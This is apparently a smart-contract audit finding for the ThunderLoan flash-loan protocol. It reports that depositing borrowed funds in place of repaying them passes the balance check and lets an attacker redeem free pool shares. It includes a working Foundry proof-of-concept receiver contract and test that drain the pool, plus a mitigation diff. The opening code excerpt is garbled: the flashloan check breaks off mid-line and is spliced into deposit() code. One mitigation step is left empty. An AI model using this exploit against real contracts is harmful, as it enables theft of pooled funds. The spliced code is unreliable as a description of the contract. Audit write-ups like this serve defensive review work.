Thunder Loan

Description

In ThunderLoan.sol:212-215, the flashloan() function does not ensure that the borrowed
amount plus fee is returned via repay(). Instead, it only checks that the balance of the
AssetToken at the end of the transaction is greater than or equal to startingBalance +
fee:

// File: src/protocol/ThunderLoan.sol                                                   
        receiverAddress.functionCall(                                                   
            abi.encodeWithSignature(                                                    
                "executeOperation(address,uint256,uint256,address,bytes)",              
                address(token),                                                         
                amount,                                                                 
                fee,                                                                    
                msg.sender,                                                             
                params                                                                  
            )                                                                           
        );                                                                              
                                                                                        
@>      uint256 endingBalance = token.balanceOf(address(assetToken));                   
@>      if (endingBalance       uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /          

exchangeRate;
emit Deposit(msg.sender, token, amount);
@> assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee);
@> token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

The deposit satisfies endingBalance >= startingBalance + fee, causing the flash loan
execution to succeed while minting AssetToken pool shares to the borrower for free. The
borrower can immediately call redeem() to withdraw the underlying assets, stealing the
pool's liquidity.

Risk

Likelihood: High

Impact: Critical

Proof of Concept

Add the following test to your Foundry test suite (test/unit/WRREVerificationTest.t.sol):

contract DepositFlashLoanReceiver {                                                     
    ThunderLoan thunderLoan;                                                            
                                                                                        
    constructor(address _thunderLoan) {                                                 
        thunderLoan = ThunderLoan(_thunderLoan);                                        
    }                                                                                   
                                                                                        
    function executeOperation(                                                          
        address token,                                                                  
        uint256 amount,                                                                 
        uint256 fee,                                                                    
        address,                                                                        
        bytes calldata                                                                  
    ) external returns (bool) {                                                         
        // Instead of repaying, deposit the borrowed amount + fee                       
        IERC20(token).approve(address(thunderLoan), amount + fee);                      
        thunderLoan.deposit(IERC20(token), amount + fee);                               
        return true;                                                                    
    }                                                                                   
}                                                                                       
                                                                                        
function test_WRRE_DepositBypassesRepayAndDrainsFunds() public {                        
    DepositFlashLoanReceiver depositReceiver = new                                      

DepositFlashLoanReceiver(address(thunderLoan));
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);

    uint256 borrowAmount = 500e18;                                                      
    uint256 fee = thunderLoan.getCalculatedFee(tokenA, borrowAmount);                   
                                                                                        
    // Attacker only supplies the flash loan fee                                        
    tokenA.mint(address(depositReceiver), fee);                                         
                                                                                        
    // Execute flash loan                                                               
    thunderLoan.flashloan(address(depositReceiver), tokenA, borrowAmount, "");          
                                                                                        
    // Receiver now holds AssetToken pool shares obtained using borrowed capital        
    uint256 receiverAssetBalance = assetToken.balanceOf(address(depositReceiver));      
    assertGt(receiverAssetBalance, 0);                                                  
                                                                                        
    // Attacker redeems shares to drain pool liquidity                                  
    vm.prank(address(depositReceiver));                                                 
    thunderLoan.redeem(tokenA, receiverAssetBalance);                                   
                                                                                        
    assertGt(tokenA.balanceOf(address(depositReceiver)), borrowAmount);                 
}                                                                                       

Recommended Mitigation

1. Add a reentrancy guard across all core state-mutating functions (flashloan, deposit,
   redeem).

2. Prevent deposit() and redeem() during an active flash loan:

3. Explicitly verify repayments through an internal ledger tracked by repay() rather than
   raw token balance checks.

--- a/src/protocol/ThunderLoan.sol                                                      
+++ b/src/protocol/ThunderLoan.sol                                                      
@@ -147,6 +147,7 @@ contract ThunderLoan is Initializable, OwnableUpgradeable,          

UUPSUpgradeable, Ora
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__BadNewFee();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];